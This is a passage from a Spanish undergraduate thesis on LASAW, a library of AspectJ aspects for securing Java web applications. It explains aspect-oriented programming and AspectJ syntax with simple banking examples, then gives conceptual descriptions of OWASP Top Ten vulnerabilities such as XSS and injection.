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Capítulo 1 – Introducción 

1.1 Motivación 
 
La seguridad en aplicaciones ha sido siempre un tema de vital interés tanto para los desarrolladores 
como para los usuarios de las mismas. Con el auge de Internet, surgió una enorme cantidad de  
aplicaciones web que evidentemente sufren una mayor exposición a ataques debido a la masividad 
de accesos y a la diversidad de usuarios. Este hecho impulsó la necesidad de un tratamiento de la 
seguridad más organizado que pueda incorporarse durante el proceso de desarrollo de software. 

La idea del tratamiento de la seguridad como parte del desarrollo de software significa que 
durante el mismo debe existir un trabajo paralelo de programadores de requerimientos primarios (o 
parte funcional de la aplicación) y de programadores enfocados y especializados en ciertos 
requerimientos secundarios (en nuestro caso la seguridad). 

La seguridad es difícil de modularizar y de aislar, tanto en los lenguajes orientados a  objetos 
como en los procedurales, ya que el código que la implementa es invocado en la mayoría de los 
módulos de una aplicación. La Programación Orientada a Objetos otorga herramientas para abstraer 
y encapsular funcionalidad secundaria, sin embargo no logra evitar la dispersión de código 
producida por la necesidad de invocar dicha funcionalidad desde la lógica de negocios. 

La Programación Orientada a Aspectos (POA) se presenta como una solución a estos 
problemas de modularización, siendo AspectJ [ECL1]  una de las herramientas más utilizadas para 
implementar estos conceptos. 

Durante el desarrollo de esta tesis nos focalizamos en la POA como técnica para introducir 
programáticamente seguridad en las aplicaciones web construidas bajo la plataforma J2EE. 

Comenzamos identificando las vulnerabilidades más comunes e importantes en las aplicaciones 
web y para ello usamos como guía el proyecto OWASP Top Ten [OWASP1]. El Open Web 
Application Security Project [OWASP] es una reconocida comunidad abierta dedicada a brindar 
ayuda a las organizaciones para que desarrollen, compren y mantengan aplicaciones confiables. Los 
proyectos de OWASP cubren muchos de los aspectos relacionados con la seguridad en aplicaciones. 

Buscamos soluciones implementadas con aspectos a los problemas de seguridad en aplicaciones 
web JAVA, sin encontrar alguna lo suficientemente madura como para tomar de referencia. 

Decidimos utilizar AspectJ [ECL1] (Java extendido para soportar POA) para poder aplicar los 
conceptos de aspectos en aplicaciones desarrolladas en JAVA. De esta manera construimos 
LASAW, nuestra librería de aspectos que seguriza aplicaciones web JAVA, la cual fue aplicada 
con éxito a una aplicación de prueba: Foro Vulnerable.  

Con el objetivo de lograr que LASAW pueda ser utilizada en un conjunto mayor de 
aplicaciones JAVA, nos basamos en los mecanismos de generalización ofrecidos por AspectJ para 
construir soluciones más genéricas y reusables. A este conjunto de soluciones lo agrupamos en una 
nueva librería a la que denominamos GLASAW (LASAW Genérica). 

  
 

1.2 Distinción Recibida 
 
Anualmente, en las Jornadas Argentinas de Informática (JAIIO) [JAIIO], organizada por la 
Sociedad Argentina de Informática (SADIO) [SADIO], se presentan trabajos que son 
posteriormente publicados, se discuten resultados de investigaciones, y se desarrollan también 
conferencias y reuniones con la asistencia de profesionales argentinos y extranjeros. En el 2008 
estas jornadas (37 JAIIO) se realizaron entre el 8 y el 12 de Septiembre en la ciudad de Santa Fe, 
Argentina, en instalaciones de la Universidad Tecnológica Nacional, Facultad Regional Santa Fe 
(UTN-FRSF).  
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Las JAIIO se organizan como un conjunto de simposios separados, cada uno dedicado a un 
tema específico. Uno de esos simposios, que recibe el nombre de Concurso de Trabajos 
Estudiantiles (EST) [EST] se propone como un espacio especialmente dedicado a los estudiantes 
de grado, para la difusión de las actividades académicas que realizan en el marco de carreras 
universitarias en Informática y Ciencias de la Computación. Dentro de este concurso, existe una 
categoría que corresponde a los trabajos de fin de carrera que realizan los estudiantes para acceder a 
su título de grado.  

Es en EST 2008 donde presentamos nuestra tesis bajo el título de "LASAW: Librería de 
Aspectos de Seguridad para Aplicaciones Web escritas en JAVA" en la categoría “Desarrollo 
de Aplicaciones WEB y Web Semántica”. Nuestro trabajo fue aceptado junto a otros diez para ser 
publicado en las Memorias de las 37 JAIIO, y también para participar de la Sesión de Pósters y 
eventualmente de la Sección Oral (http://www.37jaiio.org.ar/est/index.php?opcion6=1). En base a 
la evaluación de los trabajos escritos, las preguntas realizadas durante la Sesión de Pósters y las 
presentaciones en la Sesión Oral, el jurado define el orden de méritos y otorga los premios 
correspondientes. 
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Capítulo 2 – POA: Programación Orientada a Aspectos  
 
2.1 Conceptos de POA 

 
La Programación Orientada a Aspectos (POA) es un paradigma de programación propuesto por 
G. Kiczales [KICZ], que tiene como objetivo capturar los crosscutting concerns de un sistema. Se 
denomina crosscutting concerns a aquellos requerimientos secundarios o no-funcionales, 
compartidos por varios módulos de un programa y cuya implementación no puede ser ubicada en un 
único punto del sistema. Son  por lo tanto, responsables directos del enmarañamiento de código. La 
seguridad, el caching, la encriptación, el logging son ejemplos típicos de este tipo de requerimiento. 

POA complementa las metodologías existentes tales como POO (Programación Orientada a 
Objetos) y la programación procedural, con conceptos y construcciones que permiten modularizar 
crosscutting  concerns.  POA incorpora el concepto de aspecto, el cual constituye una unidad de 
encapsulamiento de los crosscutting concerns. 

De esta manera, es posible utilizar POO como metodología base implementando los 
requerimientos principales como clases y utilizar POA y encapsular en aspectos los requerimientos 
secundarios  [PAP]  [LAD]. Este enfoque, donde los aspectos son considerados como 
complementos de una aplicación base, recibe el nombre de POA asimétrica, en contraposición a 
otros enfoques, denominados simétricos, en donde los aspectos cumplen un papel central en la 
construcción de la aplicación [FRAINE]. En el resto de este artículo, utilizaremos el término POA 
para referirnos a POA asimétrica.   

 
 
Los aspectos pueden ser clasificados de acuerdo a las características del crosscutting concern 

que implementan en: 
 
• Aspectos ortogonales (independientes de la aplicación): son usados para agregar código a 

una aplicación de manera ortogonal. La aplicación es independiente del aspecto, por lo que 
permanece totalmente funcional aún sin el mismo. Estos  aspectos son incorporados de 
manera automática en una aplicación sin necesidad de realizar cambios manuales en ella. Un 
aspecto de debugging pertenece a esta categoría. 
 

• Aspectos no-ortogonales (dependientes de la aplicación): hacen un crosscutting profundo. 
El estado, estructura o lógica de la aplicación influye en el código de estos aspectos de 
manera tal que son sólo aplicables en el contexto de una aplicación específica. Los aspectos 
de esta clase forman una parte integral de la aplicación. [DEWIN] 
 

• Aspectos semi-ortogonales (cooperantes con la aplicación): no son ortogonales, pero 
tampoco son totalmente dependientes. Estos aspectos apuntan a concerns no-funcionales 
que necesitan alguna cooperación de la aplicación para funcionar. Es el caso de los aspectos 
que implementan seguridad. [DEWIN] 

 
Actualmente, existen diferentes lenguajes de programación que incluyen extensiones para 

soporte de aspectos; en la familia de los orientados a objetos, podemos mencionar a: AspectJ 
[LAD1] [ECL1] (extensión de Java), AspectC++ (extensión de C++), Apostle (extensión de 
Smalltalk) y dentro de los procedurales se encuentra AspectC y Aspicere  (extensiones de C). 
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2.1.1 Etapas del desarrollo con POA 
 
El desarrollo mediante POA comprende las siguientes etapas: 

 
• Descomposición en Aspectos: se descomponen los requerimientos para identificar los 

concerns principales y los concerns secundarios. 
 

• Implementación de concerns secundarios: se implementa cada concern en un aspecto de 
manera separada. 

 
• Proceso de integración o weaving: los aspectos son integrados para componer el sistema 

final. [LAD] 
 

2.1.2 Beneficios de POA 
 
Entre los beneficios de POA se pueden mencionar: 
 

• Mayor grado de modularización con una mejor distribución de responsabilidades. 
 
• Fácil evolución del sistema sin necesidad de cambios en módulos principales. 

 
• Mayor reuso de código.[LAD] 

 
 

2.2 AspectJ 
 

AspectJ es un lenguaje de programación orientado por aspectos construido como una extensión del 
lenguaje Java. Un compilador de AspectJ hace llegar la noción de aspecto hacia el código de 
máquina virtual JAVA. Los aspectos se escriben en Java extendido y se compilan a código de bytes 
que puede ser interpretado por cual máquina virtual JAVA. [LAD1] 

Existen al menos dos compiladores de AspectJ: 
 

- ajc : forma parte de las herramientas soportadas por el proyecto Eclipse. [ECL1] 
 
- abc: compilador optimizante y extensible producido en Aspectbench. [AB] 

 

2.2.1 AspectJ como lenguaje de nuestra librería de “aspectos” 
Como se mencionó con anterioridad, decidimos tratar las vulnerabilidades presentes en aplicaciones 
web desarrolladas en Java. Debido a esto, en la tesina se eligió AspectJ  para la implementación de 
los aspectos que tratan la seguridad, ya que es una extensión orientada a aspectos del lenguaje de 
programación Java.  

  

Otras razones por la cual se eligió AspectJ son las siguientes:  

• Ofrece una buena integración con IDEs populares y de código fuente abierto (Ej.: 
Eclipse) 
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• Pertenece a un proyecto desarrollado por la comunidad de software libre[ECL1] 

• Su compilador produce archivos de clases (.class) que respetan la especificación de byte-

codes de Java, permitiendo que cualquier máquina virtual de Java los ejecute. 

 

2.2.2 Conceptos fundamentales de AspectJ 
 
A continuación definiremos los conceptos más importantes utilizados por AspectJ para la 
especificación de las reglas de integración o weaving [LAD1]:  
 

2.2.2.1 Pointcuts 
 

Los pointcuts capturan o identifican join points en el flujo del programa. Se denomina join 
point a un punto identificable en la ejecución de un programa. Son los lugares donde las 
acciones de crosscutting son incorporadas [LAD]. Una vez capturados dichos join points, es 
posible especificar reglas de “weaving” que los involucren. Ciertos pointcuts pueden colectar el 
contexto en los join points capturados, de manera que las acciones puedan usarlo para 
implementar funcionalidad crosscutting. [WANG] 

En AspectJ, los pointcuts pueden ser anónimos o nombrados. Los pointcuts anónimos son 
definidos en el lugar de su uso. Los pointcuts nombrados al tener un nombre, pueden ser 
referenciados desde múltiples lugares, lo que los convierte en reusables. 

Los pointcuts nombrados usan la siguiente sintaxis: 
 
[especificador_de_acceso] pointcut nombre_del_pointcut([args]) :   definición_del_pointcut 
 
 
 
 
 
Veamos un ejemplo de un pointcut de nombre operacionesCuenta() que captura las 

invocaciones a todos los métodos de la clase Cuenta: 
 
public pointcut operacionesCuenta() : call (* Cuenta.*(..)) 

 

Wildcards y operadores de Pointcut 
AspectJ utiliza una sintaxis basada en wildcards para construir pointcuts que capturan join 

points que compartan características comunes. 
Existen tres notaciones para wildcards: 
* denota cualquier número de caracteres excepto el punto. 
.. denota cualquier número de caracteres incluyendo cualquier número de puntos. 
+ denota cualquier subclase o subinterface de un tipo dado. 
 
En la tabla 1 se pueden ver ejemplos de su uso. 
AspectJ provee un operador unario y dos operadores binarios para formar reglas de 

Identifica los joinpoints donde se 
insertará la acción 
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matching complejas combinando pointcuts simples: 
 

Operador unario: el operador de negación ! permite hacer  matching de todos los join 
points excepto aquellos especificados por el pointcut. En la tabla 2 se pueden ver ejemplos 
de su uso. 

Operadores binarios: el operador || permite combinar dos pointcuts y causa la 
selección de los join points que hacen matching con al menos uno de los dos pointcuts. 
Combinarlos con el operador && causa la selección de los join points que hacen matching 
con ambos pointcuts simultáneamente. En la tabla 2 se pueden ver ejemplos de su uso. 

 

Sintaxis de firma(signature) 
En Java, las clases, interfaces, métodos y campos tienen firmas(signatures). Éstas son 

usadas en pointcuts para especificar los lugares donde se desea capturar joinpoints. 
Cuando se especifican patrones que coinciden con estas firmas en pointcuts, nos 

referimos a ellos como patrones de firma. A continuación se examinarán tres tipos de 
patrones de firma en AspectJ: 

   
• Patrones de firma de tipo: el término tipo se refiere a clases, interfaces y tipos 

primitivos. En AspectJ, tipo también se refiere a aspectos. Para especificar un 
joinpoint en un conjunto de tipos, es posible usar wildcards y operadores unarios y 
binarios. El wildcard ‘*’ es usado en un patrón de firma de tipo para especificar una 
parte de una clase, interface o nombre de paquete. El wildcard ‘..’ se usa para denotar 
todos los subpaquetes directos e indirectos. El wildcard ‘+’ es usado para denotar un 
subtipo (subclase o subinterface). 

 

Patrón de firma Correspondencias 
*Foro Tipos que terminan con ‘Foro’, como puede ser 

MiForo 
java.*.Date Los tipos Date de cualquier paquete que comience 

con java, como pueden ser java.util.Date y 
java.sql.Date 

java..* Cualquier tipo dentro del paquete java o cualquiera 
de sus subpaquetes, como pueden ser java.awt, 
java.util, java.util.logging. 

javax..*Model+ Cualquier tipo dentro del paquete javax o cualquiera 
de sus subpaquetes, cuyo nombre termine con Model 
y todos los subtipos de estos. Ejemplos de estos son 
javax.swing.table.TableModel y 
javax.swing.tree.TreeModel 

Tabla 1: Ejemplo de firmas de tipos 
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Operadores de pointcuts Correspondencias 
!String Todos los tipos que no sean String 
String || StringBuffer Todos los tipos String o StringBuffer 
java..*String || 
javax.swing.text.Document 

Todos los tipos dentro del paquete java o sus 
subpaquetes cuyo nombre termine con String o el tipo 
javax.swing.text.Document 

java.util.RandomAccess+ 
&& java.util.List+ 

Todos los tipos que extiendan ambas interfaces. Un 
ejemplo es java.util.ArrayList 

Tabla 2: Ejemplo de firmas de tipos usando operadores unarios y binarios 
 

 
• Patrones de firma de método y constructor: las firmas de método y constructor 

necesitan especificar el nombre, tipo de retorno (sólo para los métodos), tipos de los 
argumentos y modificadores. Los modificadores pueden también ser usados con el 
operador de negación para especificar “matching” con todos menos el modificador 
especificado. Por ejemplo,!final hará “matching” con todos los métodos que no sean 
final. En las firmas de método, el wildcard .. se utiliza para denotar cualquier tipo y 
número de argumentos. 
La firma de constructor es similar a la de método, excepto por dos diferencias: 
primero, como los constructores no tienen un valor de retorno, no se requiere o 
permite especificar un valor de retorno; segundo, como los constructores no tienen 
nombre, se utiliza la palabra new en su lugar. 
 

Operadores de pointcuts Correspondencias 
public void Collection.clear() El método clear() en la clase Collection con acceso 

público, que retorna void y no lleva argumentos. 
public void 
Account.debit(float) throws 
InsufficientBalanceException 
 

El método público debit() de la clase Account que 
retorna void y toma un argumento float y declara que 
puede elevar la excepción 
InsufficientBalanceException.  

public Account.new(int) Constructor público de la clase Account que recibe 
un int como argumento 

public *Account.new(..) Cualquer constructor público de clases con nombres 
que terminan en Account. 

Tabla 3 Ejemplo de firmas de métodos y constructores 
 
 

• Patrones de firma de campo (atributo): se utilizan para capturar join points 
correspondientes  a accesos de lectura o escritura de campos. Una firma de campo 
debe especificar el tipo del campo, el tipo de declaración y los modificadores. Al igual 
que en las firmas de métodos y constructores, es posible usar patrones de firma de tipo 
para especificar tipos. 
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Operadores de pointcuts Correspondencias 
private float Account._balance Campo privado _balance de la clase Account de tipo 

float 
* Account.* Todos los campos de la clase Account  
!public static * banking..*.* Todos los campos no públicos y estáticos de las 

clases del paquete banking o cualquiera de sus 
subpaquetes. 

public !final *.* Todos los campos no finales y públicos de cualquier 
clase 

Tabla 4: Ejemplo de firmas de campos 
 

Implementación de pointcuts 
En AspectJ, los pointcuts emplean dos técnicas de “matching” para seleccionar los join 
points: la primera captura los join points de acuerdo a la categoría a la que pertenecen. Los 
join points pueden ser agrupados en categorías que representan el tipo al que pertenece el join 
point, tales como join points de invocación de métodos, de ejecución de métodos, de 
obtención de campos, de manejadores de excepciones, etc. Este tipo de pointcuts se denominan 
“pointcuts categorizados”; la segunda técnica consiste en capturar join points de acuerdo a las 
circunstancias bajo las que ocurren, tales como flujo de control, alcance léxico, chequeos 
condicionales. Estos pointcuts  capturan join points en cualquier categoría siempre y cuando 
hagan “matching” con la condición. A su vez tienen la capacidad de obtener el contexto del 
join point capturado.   

 

Pointcuts categorizados 
En aspecto, los pointcuts categorizados siguen una sintaxis específica para capturar cada 
categoría de join point.. 
 
   

Categoría de join point Sintaxis de pointcut 
Ejecución de método execution (firma_de_método) 
Invocación de método call (firma_de_método) 
Ejecución de constructor execution (firma_de_constructor) 
Invocación de constructor call (firma_de_constructor) 
Inicialización de clase staticinitialization(firma_de_tipo) 
Acceso de lectura a campo get(firma_de_campo) 
Acceso de escritura a campo set(firma_de_campo) 
Ejecución de manejador de excepción handler(firma_de_tipo) 
Inicialización de objeto initialization(firma_de_constructor) 
Pre-inicialización de objeto preinitialization(firma_de_constructor) 
Ejecución de advice adviceexecution() 

Tabla 5: Sintaxis de pointcuts categorizados 
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2.2.2.2 Advice 
Advice, es una construcción de AspectJ que permite expresar una acción de crosscutting en los 
join points capturados por un pointcut. Tiene forma de método. Existen tres clases de advice: 
 
• Advice before: se ejecuta antes del join point. 
• Advice after: se ejecuta después del join point. 
• Advice around: rodea la ejecución del join point, tiene la capacidad de saltear la ejecución, 

continuar la ejecución original o modificar el contexto original y luego ejecutarlo. 
 
Estructura sintáctica del advice: puede ser dividido en tres partes, declaración,  

especificación del pointcut, y cuerpo.  
 
Veamos un ejemplo: 
 

 
  
La declaración (1), especifica: a) cuándo se ejecuta el advice en relación al join point 

capturado (before, after o around) ;  b) la información de contexto disponible para el cuerpo del 
advice, tal como el objeto y los argumentos de la ejecución, que pueden ser usados de la misma 
manera en que un método utiliza sus parámetros y c) las excepciones “chequeables en 
compilación” lanzadas por el advice.  

La especificación del pointcut sigue las reglas sintácticas y semánticas descriptas en la 
sección 2.2.3.1.   

El cuerpo del advice, al igual que el cuerpo de un método, contiene las acciones a ejecutar y 
se delimita por llaves. 

 
El advice before 

El advice before se ejecuta antes que la ejecución del join point capturado. Si se arroja una 
excepción en este tipo de advice, la operación capturada no se ejecutará. El advice before se usa 
típicamente para realizar tareas pre-operación, tales como logging y autenticación. 

 
El advice after 

El advice after se ejecuta después de la ejecución de un join point. Debido a que a menudo es 
importante distinguir entre un retorno normal de un joinpoint y aquellos que arrojan una 
excepción, AspectJ ofrece tres variaciones de este tipo de advice: después de retornar 
normalmente (after returning), después de retornar disparando una excepción (after 
throwing), y después de retornar de cualquier manera (after). 

 

before(Connection connection):  (1) Declaración del advice 

  connectionOperation(connection) { (2) Especificación del pointcut 

  System.out.println(“Realizando operación sobre ”+ connection); 

  (3) Cuerpo del advice  

 } 
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El advice around 

El advice around rodea el join point, tiene la capacidad de saltear completamente la ejecución 
de join point capturado, o ejecutar el join point con los mismos o diferentes argumentos. 
También puede ejecutar los join points capturados muchas veces, cada una con diferentes 
argumentos. Algunos usos típicos de este advice son: realizar algún procesamiento adicional 
antes y después del join point, saltear la operación original y realizar otro procesamiento, o 
encerrar la operación con un bloque try/catch para seguir una política de manejo de 
excepciones. 

  Si dentro del advice around se quiere ejecutar la operación en el join point, se debe usar la 
palabra clave proceed() en el cuerpo del advice. Al menos que se llame a proceed(), el  join 
point capturado será salteado. Cuando se usa proceed() es posible pasarle como argumentos a 
la operación capturada, el contexto colectado por el advice o argumentos completamente 
diferentes (respetando la cantidad, tipo y orden de los argumentos del advice). El 
comportamiento del proceed() consiste en ejecutar la operación capturada. 

 
Pasaje de contexto desde un join point a un advice 

La implementación del advice con frecuencia requiere el acceso a datos del join point, tales 
como información del método y argumentos de la operación. Esta información se denomina 
contexto. AspectJ provee los pointcuts this(), target() y args() para recolectar el contexto. 
Hay dos maneras de especificar cada uno de estos pointcuts: usando el tipo de los objetos, o 
usando ObjectIdentifier (identificador de objeto) que simplemente es el nombre del objeto. 
Cuando el contexto necesita ser pasado al advice, se usa la última manera. 

En un pointcut, los identificadores de objeto para los objetos colectados deben ser 
especificados en la primer parte del advice de la misma forma que especificarían argumentos 
en un método. Por ejemplo, en el siguiente código, el pointcut anónimo colecta todos los 
argumentos de las ejecuciones de los métodos asociados a él. 

 

 
  

El objeto que recibe el mensaje (en este caso “cuenta”) es capturado usando el pointcut 
target(), mientras que el valor del argumento es capturado usando el pointcut args(). El 
objeto en ejecución puede ser capturado también usando this() en lugar de target(). 

 before (Cuenta cuenta, float monto): 

  call (void Cuenta.credito(float))  

   && target(cuenta) 

   && args (monto) { 

   System.out.println(“Acreditando”+ monto +  “ a  “+ cuenta); 

 } 
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2.2.2.3 Crosscutting estático 
 

En POA a menudo encontramos que además de afectar el comportamiento dinámico usando 
advice, es necesario que los aspectos afecten la estructura estática en una manera “crosscutting”. 
Mientras que el crosscutting dinámico modifica el comportamiento de ejecución de un 
programa, el crosscutting estático modifica la estructura estática de los tipos (clases, interfaces y 
otros aspectos) y su comportamiento en tiempo de compilación. Hay cuatro clasificaciones del 
crosscutting estático: introducción de miembros, modificación de la jerarquía de tipos, 
declaración de errores  y advertencias (warnings) en tiempo de compilación, y suavizado de 
excepciones (exception softening). En este informe explicaremos las primeras tres clases. 

2.2.2.4 Introducción de miembros 
 

Los aspectos con frecuencia necesitan introducir miembros dentro de clases e interfaces (datos y 
métodos).. AspectJ provee un mecanismo llamado introduction para introducir dichos 
miembros. Veamos un ejemplo donde se introduce el campo “minimoSaldo” y el método 
“obtenerSaldoDisponible()” en la clase “Cuenta”.  
 

 
 
Es importante aclarar que las reglas de acceso de los miembros introducidos son 

interpretadas con respecto al aspecto que hace la introducción. Por ejemplo, los miembros 
marcados como “private” están accesibles sólo desde el aspecto que hizo la introducción. 

 

2.2.2.5 Modificación de la jerarquía de clases 
 

Con AspectJ, es posible declarar una superclase de una clase, superinterfaces de una interface, e 
interfaces que son implementadas por una clase existente, siempre y cuando no se violen las 
reglas de herencia de Java. Las formas de dichas declaraciones son: 
 
  declare parents: [Patron_de_tipo] implements [Lista_de_Interfaces]; 
 

declare parents: [Patron_de_tipo] extends [Clase o Lista_de_Interfaces]; 
   

Por ejemplo, el siguiente aspecto declara que todas las clases e interfaces en el paquete 
“entidades” que tienen el paquete “banco” como raíz van a implementar la interface 
“Identificable”: 

  

 
 public aspect AspectoReglaMinimoSaldo  
 { 
  private float Cuenta.minimoSaldo;  
 
  public float Cuenta.obtenerSaldoDisponible() 
  { 
   return obtenerSaldo() - minimoSaldo; 
  } 
 
 } 
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La capacidad de modificar la jerarquía de herencia permite generar un nuevo tipo base de 
manera que ciertos advice y aspectos solo funcionen a través de la API ofrecida por el tipo 
base. De esta manera, el advice y aspectos serán sólo dependientes del tipo base en lugar de 
clases e interfaces específicas de la aplicación.  

2.2.2.6 Introducción de errores y “warnings” de tiempo de compilación 
 
Con AspectJ es posible declarar errores y advertencias (warnings) de tiempo de compilación 
basados en ciertos patrones de uso. 

El constructor para la declaración de errores provee una forma de declarar un error de 
tiempo de compilación  cuando el compilador detecta la presencia de un join point que coincide 
con un pointcut dado. Entonces el compilador arroja un error, imprime el mensaje indicado y 
aborta el proceso de compilación: 

 
declare error : <pointcut> : <mensaje>;    
 
De manera similar, el constructor de declaración de “warnings” provee una manera de 

declarar advertencias de tiempo de compilación, pero no aborta el proceso de compilación: 
 
declare warning : <pointcut> : <mensaje>; 
 

 Un uso típico de estos constructores es para obligar el cumplimiento de ciertas reglas, tales 
como la prohibición de invocaciones a ciertos métodos no soportados. 

 
 

2.3 Seguridad y POA 
 
Un ejemplo clásico de un concern no-funcional es la seguridad [ELRAD] [DEWIN1],  la cual no 
es fácil de “aislar”. Este concern se encuentra esparcido en los sistemas de software debido a una 
diferencia estructural entre la lógica de aplicación y la lógica de seguridad. Aunque no es difícil 
modularizar la implementación de mecanismos de seguridad, existe el problema de manejar 
adecuadamente el lugar y momento de invocación a un determinado mecanismo en una aplicación. 
El crosscutting de seguridad se relaciona no solo a la diversidad de lugares donde se invocan los 
mecanismos de seguridad, sino también al contexto de las llamadas. 

Las técnicas de modularización ya establecidas, como la descomposición funcional y la 
orientación a objetos, no soportan adecuadamente la separación de la seguridad. Son capaces de 
encapsular la lógica de seguridad, pero la relación entre la funcionalidad de negocios y de seguridad 
es una parte intrínseca de la lógica de negocios. Entonces, el desarrollador debe invocar la 
funcionalidad de seguridad de la misma manera como lo hace con la funcionalidad de negocios  

Al usar POA para tratar la seguridad, dicho concern es especificado en forma separada para 
luego ser integrado junto con el resto en una única unidad ejecutable. De esta forma, la aplicación 
no depende del sistema de seguridad, por lo que puede ser desarrollada y mantenida 
independientemente. 

 

aspect AspectoSeguimientoCuenta { 
  declare parents: banco.entidades.* implements Identificable; 
  . . . 

 } 
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2.4 Spring: un framework que introduce nociones de POA 
 
Uno de los componentes claves del framework Spring [SPRING] es SpringAOP. Éste módulo 
utiliza por defecto los proxies dinámicos J2EE [PROX], los cuales pueden ser aplicados sobre 
cualquier interface java para realizar intercepciones.  Sin embargo SpringAOP tiene la limitación de 
que sólo puede utilizarse sobre objetos manejados por el contenedor Spring, y únicamente para 
interceptar la ejecución de métodos. A partir de la versión 2.0 de Spring, éste se integra 
perfectamente con AspectJ dando toda la potencia de la programación orientada a aspectos, pero 
facilitando la sintaxis mediante el uso de anotaciones y archivos XML.  

Spring dispone también de un módulo dedicado a la seguridad, llamado Spring Security que 
hace uso de las características POA para facilitar su integración. Hay que tener en cuenta que 
cuando utilizamos frameworks para aplicar seguridad, la portabilidad de las soluciones se ve 
restringida a aplicaciones que basen su arquitectura en el mismo framework que provee la 
seguridad. 
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Capítulo 3 – Vulnerabilidades críticas en aplicaciones web. 

3.1 OWASP – Open Web Application Security Project 

Como el título del trabajo lo indica, nos enfocamos en la seguridad en aplicaciones web. Es por esto 
que se procedió a identificar las vulnerabilidades más importantes en las aplicaciones web, para 
luego ser tratadas mediante POA. Para ello, se usó como fuente el proyecto OWASP Top Ten 
[OWASP1]. 

El Open Web Application Security Project (OWASP) [OWASP] es una reconocida 
comunidad abierta dedicada a brindar ayuda a las organizaciones para que desarrollen, compren y 
mantengan aplicaciones confiables. Los proyectos de OWASP cubren muchos aspectos de la 
seguridad en aplicaciones. 

3.1.1 OWASP Top Ten 
 
Uno de los proyectos más reconocidos de OWASP es el OWASP Top Ten [OWASP1], que 
provee un estándar mínimo para la seguridad de aplicaciones web. Decidimos basarnos en dicho 
“Top Ten”, ya que representa un amplio consenso sobre cuáles son las fallas de seguridad más 
críticas en aplicaciones web.  

La versión 2007 del Top Ten está  constituida de la siguiente manera: 
 

• A1 – Fallas de Cross Site Scripting (XSS).  
• A2 – Fallas de inyección.  
• A3 – Ejecución maliciosa de archivo:  El código vulnerable a la inclusión remota de 

archivos (RFI) permite a los atacantes incluir código y datos hostiles, resultando en 
ataques devastadores. La ejecución maliciosa de archivos afecta PHP, XML  y 
cualquier framework que acepte nombres de archivos o archivos por parte de 
usuarios.  

• A4 – Referencia directa a objeto insegura: Una referencia directa a objeto ocurre 
cuando un desarrollador expone una referencia a una objeto de implementación 
interna tal como un archivo, directorio, registro de base de datos o clave, como un 
parámetro de URL o formulario. Los atacantes pueden manipular dichas referencias 
para acceder a otros objetos sin autorización.  

• A5 - Cross Site Request Forgery (CSRF)  ): Este tipo de ataque fuerza al navegador 
de una víctima logueada a enviar un requerimiento a una aplicación Web vulnerable.  
Se basa en explotar la confianza que tiene el sitio web o aplicación en el usuario. 
Está relacionado al manejo y generación de tokens de sesión.  

 
• A6 -  Manejo inadecuado de errores  
• A7 - Administración de Autenticación y Sesión Interrumpida 
• A8 - Almacenamiento criptográfico inseguro: este tipo de falla ocurre cuando las 

aplicaciones web no utilizan apropiadamente las funciones criptográficas para 
proteger sus datos y credenciales. Los atacantes usan los datos débilmente protegidos 
para realizar robo de identidad y otros ataques como fraude de tarjetas de crédito. 

 
• A9 - Comunicaciones inseguras: Este tipo de falla se produce cuando las 

aplicaciones no encriptan adecuadamente el tráfico de red, lo cual es necesario para 
proteger comunicaciones sensibles. 
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• A10 - Falla al restringir el acceso a URLs: Este tipo de falla se produce cuando una 

aplicación sólo protege su funcionalidad evitando que se muestren links o URLs a 
usuarios no autorizados. Los atacantes aprovechan dicha debilidad accediendo 
directamente a la URL o ejecutando operaciones no autorizadas sobre la misma. 

  
Nuestra tesina de grado se centra en las vulnerabilidades de aplicaciones web Java. Por este 

motivo,  se seleccionaron vulnerabilidades del Top Ten  que pueden presentarse en aplicaciones 
desarrolladas en dicho lenguaje:  
 

A1) Fallas de Cross Site Scripting (XSS) 
El acrónimo CSS fue reemplazado por XSS para evitar confusiones con el acrónimo utilizado para referenciar a 
las hojas de estilo (Cascading Style Sheets). 
 
A2)  Fallas de Inyección 

 
A6) Manejo Inadecuado de Errores 
 
A7) Administración de Autenticación y Sesión Interrumpida 

 
3.2 Reagrupamiento de las vulnerabilidades 
 
Debido a que el listado del Top Ten de OWASP presenta tanto vulnerabilidades como formas de 
ataque, reorganizamos los puntos anteriores de la siguiente manera: 
 

3.2.1 Estructuración 
 
• Entrada no validada sintácticamente 
 
• Autenticación y Control de Acceso deficientes  
 
• Manejo inadecuado de errores 
 
Para cada una de las vulnerabilidades mencionadas investigamos las condiciones que deben 

presentarse para que los ataques tengan éxito y detallamos la forma más efectiva de tratarlas. Las 
diferentes formas de ataques fueron analizados considerándose algunos ejemplos típicos, para así 
saber su alcance y peligrosidad [OWASP1] [NIZA] [SHEMA].  
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3.2.2 Breve descripción de las vulnerabilidades 
 

Presentamos a continuación una breve descripción de cada vulnerabilidad:   
 

3.2.2.1 Entrada no validada sintácticamente 
 

La información de entrada utilizada en la invocación a componentes web no es validada 
antes de ser usada por la aplicación web, por lo que puede manipularse la entrada para 
incluir contenido sintáctico, más específicamente código malicioso. Entre los ataques para 
explotar dicha vulnerabilidad están los de inyección y los de XSS. La principal diferencia 
entre ambos ataques es que el primero tiene como objetivo final la aplicación, mientras que 
el segundo apunta a otros usuarios de la misma. 

• XSS: este ataque consiste en insertar código malicioso, generalmente en la 
forma de un script,  en las páginas web que serán vistas por otros usuarios. El 
atacante puede usar HTML  o cualquier lenguaje de script como por ejemplo: 
VBScript, JavaScript, ActiveX, Shockwave y Flash.  
Los ataques XSS pueden ser clasificados en dos categorías:  
 

- Reflejado: el código malicioso incluido en alguna de las entradas de la 
petición web es usado inmediatamente por los scripts del lado del 
servidor para generar una página de respuesta al usuario.  Se trata del 
tipo de ataque XSS más común. 

 
- Almacenado: el código malicioso inyectado por el atacante es primero 

almacenado de manera persistente (en una base de datos, sistema de 
archivos, etc.) en el servidor y luego es enviado a los usuarios en forma 
de una página web. 

 

• Ataques de inyección: los atacantes manipulan la entrada  para transmitir 
código malicioso a través de una aplicación web hacia otros sistemas tales como 
manejadores de bases de datos y sistemas operativos. De esta manera es posible 
cambiar el comportamiento de una aplicación. La entrada con código malicioso 
puede ser procesada inmediatamente o almacenada para uso posterior (inyección 
de segundo orden). Los principales tipos de ataques de inyección son: 

 
- Inyección de comandos del Sistema Operativo: se manipula la entrada 

para incorporar comandos que luego son interpretados por el shell 
(intérprete de comandos del Sistema Operativo).   

 
- Inyección SQL: el atacante inserta comandos SQL en un parámetro que 

la aplicación web envía sin verificar al motor de base de datos.  
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3.2.2.2 Autenticación y control de acceso deficientes 
 

No se realiza una autenticación segura o directamente no existe mecanismo alguno de 
